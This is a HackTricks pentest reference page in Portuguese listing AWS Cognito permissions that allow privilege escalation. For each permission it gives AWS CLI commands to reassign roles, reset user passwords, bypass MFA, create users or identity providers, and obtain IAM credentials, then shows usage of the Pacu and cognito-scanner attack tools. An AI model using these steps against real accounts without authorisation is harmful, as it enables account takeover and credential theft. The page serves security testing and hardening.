AWS - Cognito Privesc

Support HackTricks

Cognito

Para mais informações sobre o Cognito, consulte:

AWS - Cognito Enum

Coletando credenciais do Identity Pool

Como o Cognito pode conceder credenciais de função IAM tanto para usuários autenticados quanto para usuários não autenticados, se você localizar o ID do Identity Pool de um aplicativo (deve estar codificado nele), você pode obter novas credenciais e, portanto, privesc (dentro de uma conta AWS onde você provavelmente não tinha nenhuma credencial anteriormente).

Para mais informações verifique esta página.

Impacto Potencial: Privesc direto para a função de serviços anexada a usuários não autenticados (e provavelmente para a anexada a usuários autenticados).

cognito-identity:SetIdentityPoolRoles, iam:PassRole

Com esta permissão, você pode conceder qualquer função do cognito aos usuários autenticados/não autenticados do aplicativo cognito.

aws cognito-identity set-identity-pool-roles \
--identity-pool-id <identity_pool_id> \
--roles unauthenticated=<role ARN>

# Get credentials
## Get one ID
aws cognito-identity get-id --identity-pool-id "eu-west-2:38b294756-2578-8246-9074-5367fc9f5367"
## Get creds for that id
aws cognito-identity get-credentials-for-identity --identity-id "eu-west-2:195f9c73-4789-4bb4-4376-99819b6928374" ole

Se o aplicativo cognito não tiver usuários não autenticados habilitados, você pode precisar também da permissão cognito-identity:UpdateIdentityPool para habilitá-la.

Impacto Potencial: Privesc direto para qualquer função cognito.

cognito-identity:update-identity-pool

Um atacante com essa permissão poderia definir, por exemplo, um Cognito User Pool sob seu controle ou qualquer outro provedor de identidade onde ele possa fazer login como uma forma de acessar este Cognito Identity Pool. Então, apenas fazer login nesse provedor de usuários lhe permitirá acessar a função autenticada configurada no Identity Pool.

# This example is using a Cognito User Pool as identity provider
## but you could use any other identity provider
aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
[--allow-unauthenticated-identities | --no-allow-unauthenticated-identities] \
--cognito-identity-providers ProviderName=user-pool-id,ClientId=client-id,ServerSideTokenCheck=false

# Now you need to login to the User Pool you have configured
## after having the id token of the login continue with the following commands:

# In this step you should have already an ID Token
aws cognito-identity get-id \
--identity-pool-id <id_pool_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

# Get the identity_id from thr previous commnad response
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

É também possível abusar dessa permissão para permitir autenticação básica:

aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
--allow-unauthenticated-identities
--allow-classic-flow

Impacto Potencial: Comprometer o IAM role autenticado configurado dentro do pool de identidade.

cognito-idp:AdminAddUserToGroup

Esta permissão permite adicionar um usuário Cognito a um grupo Cognito, portanto, um atacante poderia abusar dessa permissão para adicionar um usuário sob seu controle a outros grupos com melhores privilégios ou diferentes IAM roles:

aws cognito-idp admin-add-user-to-group \
--user-pool-id <value> \
--username <value> \
--group-name <value>

Impacto Potencial: Privesc para outros grupos Cognito e funções IAM anexadas a Grupos de Pool de Usuários.

(cognito-idp:CreateGroup | cognito-idp:UpdateGroup), iam:PassRole

Um atacante com essas permissões poderia criar/atualizar grupos com todas as funções IAM que podem ser usadas por um Provedor de Identidade Cognito comprometido e tornar um usuário comprometido parte do grupo, acessando todas essas funções:

aws cognito-idp create-group --group-name Hacked --user-pool-id <user-pool-id> --role-arn <role-arn>

Impacto Potencial: Privesc para outros papéis IAM do Cognito.

cognito-idp:AdminConfirmSignUp

Esta permissão permite verificar um cadastro. Por padrão, qualquer pessoa pode se inscrever em aplicações Cognito; se isso for deixado, um usuário poderia criar uma conta com qualquer dado e verificá-la com esta permissão.

aws cognito-idp admin-confirm-sign-up \
--user-pool-id <value> \
--username <value>

Impacto Potencial: Privesc indireto para o papel IAM do pool de identidade para usuários autenticados se você puder registrar um novo usuário. Privesc indireto para outras funcionalidades do aplicativo podendo confirmar qualquer conta.

cognito-idp:AdminCreateUser

Esta permissão permitiria que um atacante criasse um novo usuário dentro do pool de usuários. O novo usuário é criado como habilitado, mas precisará alterar sua senha.

aws cognito-idp admin-create-user \
--user-pool-id <value> \
--username <value> \
[--user-attributes <value>] ([Name=email,Value=email@gmail.com])
[--validation-data <value>]
[--temporary-password <value>]

Impacto Potencial: Privesc direto para o papel IAM do pool de identidade para usuários autenticados. Privesc indireto para outras funcionalidades do aplicativo, podendo criar qualquer usuário.

cognito-idp:AdminEnableUser

Essas permissões podem ajudar em um cenário muito específico onde um atacante encontrou as credenciais de um usuário desativado e ele precisa reativá-lo.

aws cognito-idp admin-enable-user \
--user-pool-id <value> \
--username <value>

Impacto Potencial: Privesc indireto para o papel IAM do pool de identidade para usuários autenticados e permissões do usuário se o atacante tiver credenciais de um usuário desativado.

cognito-idp:AdminInitiateAuth, cognito-idp:AdminRespondToAuthChallenge

Esta permissão permite fazer login com o método ADMIN_USER_PASSWORD_AUTH. Para mais informações, siga o link.

cognito-idp:AdminSetUserPassword

Esta permissão permitiria que um atacante mudasse a senha de qualquer usuário, tornando-o capaz de se passar por qualquer usuário (que não tenha MFA habilitado).

aws cognito-idp admin-set-user-password \
--user-pool-id <value> \
--username <value> \
--password <value> \
--permanent

Impacto Potencial: Privesc direto para potencialmente qualquer usuário, então acesso a todos os grupos dos quais cada usuário é membro e acesso ao papel IAM autenticado do Identity Pool.

cognito-idp:AdminSetUserSettings | cognito-idp:SetUserMFAPreference | cognito-idp:SetUserPoolMfaConfig | cognito-idp:UpdateUserPool

AdminSetUserSettings: Um atacante poderia potencialmente abusar dessa permissão para definir um telefone móvel sob seu controle como SMS MFA de um usuário.

aws cognito-idp admin-set-user-settings \
--user-pool-id <value> \
--username <value> \
--mfa-options <value>

SetUserMFAPreference: Semelhante ao anterior, esta permissão pode ser usada para definir as preferências de MFA de um usuário para contornar a proteção de MFA.

aws cognito-idp admin-set-user-mfa-preference \
[--sms-mfa-settings <value>] \
[--software-token-mfa-settings <value>] \
--username <value> \
--user-pool-id <value>

SetUserPoolMfaConfig: Semelhante ao anterior, esta permissão pode ser usada para definir as preferências de MFA de um pool de usuários para contornar a proteção de MFA.

aws cognito-idp set-user-pool-mfa-config \
--user-pool-id <value> \
[--sms-mfa-configuration <value>] \
[--software-token-mfa-configuration <value>] \
[--mfa-configuration <value>]

UpdateUserPool: Também é possível atualizar o pool de usuários para alterar a política de MFA. Verifique o cli aqui.

Potential Impact: Privesc indireto para potencialmente qualquer usuário cujas credenciais o atacante conheça, isso poderia permitir contornar a proteção de MFA.

cognito-idp:AdminUpdateUserAttributes

Um atacante com essa permissão poderia alterar o e-mail ou número de telefone ou qualquer outro atributo de um usuário sob seu controle para tentar obter mais privilégios em uma aplicação subjacente. Isso permite alterar um e-mail ou número de telefone e defini-lo como verificado.

aws cognito-idp admin-update-user-attributes \
--user-pool-id <value> \
--username <value> \
--user-attributes <value>

Impacto Potencial: Potencial privesc indireto na aplicação subjacente usando o Cognito User Pool que concede privilégios com base em atributos de usuário.

cognito-idp:CreateUserPoolClient | cognito-idp:UpdateUserPoolClient

Um atacante com esta permissão poderia criar um novo User Pool Client menos restrito do que os clientes de pool já existentes. Por exemplo, o novo cliente poderia permitir qualquer tipo de método para autenticar, não ter nenhum segredo, ter a revogação de token desativada, permitir que os tokens sejam válidos por um período mais longo...

O mesmo pode ser feito se, em vez de criar um novo cliente, um existente for modificado.

Na linha de comando (ou na atualização) você pode ver todas as opções, confira!.

aws cognito-idp create-user-pool-client \
--user-pool-id <value> \
--client-name <value> \
[...]

Impacto Potencial: Potencial privesc indireto para o usuário autorizado do Identity Pool usado pelo User Pool, criando um novo cliente que relaxa as medidas de segurança e possibilita que um atacante faça login com um usuário que ele conseguiu criar.

cognito-idp:CreateUserImportJob | cognito-idp:StartUserImportJob

Um atacante poderia abusar dessa permissão para criar usuários fazendo upload de um csv com novos usuários.

# Create a new import job
aws cognito-idp create-user-import-job \
--job-name <value> \
--user-pool-id <value> \
--cloud-watch-logs-role-arn <value>

# Use a new import job
aws cognito-idp start-user-import-job \
--user-pool-id <value> \
--job-id <value>

# Both options before will give you a URL where you can send the CVS file with the users to create
curl -v -T "PATH_TO_CSV_FILE" \
-H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL"

(No caso em que você cria um novo trabalho de importação, você também pode precisar da permissão iam passrole, ainda não testei isso).

Impacto Potencial: Privesc direto para o papel IAM do pool de identidade para usuários autenticados. Privesc indireto para outras funcionalidades do aplicativo, podendo criar qualquer usuário.

cognito-idp:CreateIdentityProvider | cognito-idp:UpdateIdentityProvider

Um atacante poderia criar um novo provedor de identidade para então poder fazer login através deste provedor.

aws cognito-idp create-identity-provider \
--user-pool-id <value> \
--provider-name <value> \
--provider-type <value> \
--provider-details <value> \
[--attribute-mapping <value>] \
[--idp-identifiers <value>]

Impacto Potencial: Privesc direto para o papel IAM do pool de identidade para usuários autenticados. Privesc indireto para outras funcionalidades do aplicativo, podendo criar qualquer usuário.

cognito-sync:* Análise

Esta é uma permissão muito comum por padrão em papéis de Pools de Identidade Cognito. Mesmo que um curinga em permissões sempre pareça ruim (especialmente vindo da AWS), as permissões dadas não são super úteis do ponto de vista de um atacante.

Esta permissão permite ler informações de uso de Pools de Identidade e IDs de Identidade dentro de Pools de Identidade (que não são informações sensíveis). IDs de Identidade podem ter Datasets atribuídos a eles, que são informações das sessões (a AWS define isso como um jogo salvo). Pode ser possível que isso contenha algum tipo de informação sensível (mas a probabilidade é bem baixa). Você pode encontrar na página de enumeração como acessar essas informações.

Um atacante também poderia usar essas permissões para se inscrever em um stream Cognito que publica alterações nesses datasets ou uma lambda que é acionada em eventos cognito. Eu não vi isso sendo usado, e não esperaria informações sensíveis aqui, mas não é impossível.

Ferramentas Automáticas

  • Pacu, o framework de exploração da AWS, agora inclui os módulos "cognito__enum" e "cognito__attack" que automatizam a enumeração de todos os ativos Cognito em uma conta e sinalizam configurações fracas, atributos de usuário usados para controle de acesso, etc., e também automatizam a criação de usuários (incluindo suporte a MFA) e escalonamento de privilégios com base em atributos personalizados modificáveis, credenciais de pool de identidade utilizáveis, papéis assumíveis em tokens de id, etc.

Para uma descrição das funções dos módulos, veja a parte 2 do post do blog. Para instruções de instalação, veja a página principal do Pacu.

Uso

Exemplo de uso do cognito__attack para tentar a criação de usuários e todos os vetores de privesc contra um determinado pool de identidade e cliente de pool de usuários:

Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX

Exemplo de uso do cognito__enum para coletar todos os grupos de usuários, clientes de grupos de usuários, grupos de identidade, usuários, etc. visíveis na conta AWS atual:

Pacu (new:test) > run cognito__enum
  • Cognito Scanner é uma ferramenta CLI em python que implementa diferentes ataques ao Cognito, incluindo uma escalada de privilégios.

Instalação

$ pip install cognito-scanner

Uso

$ cognito-scanner --help

Para mais informações, consulte https://github.com/padok-team/cognito-scanner

Support HackTricks

Last updated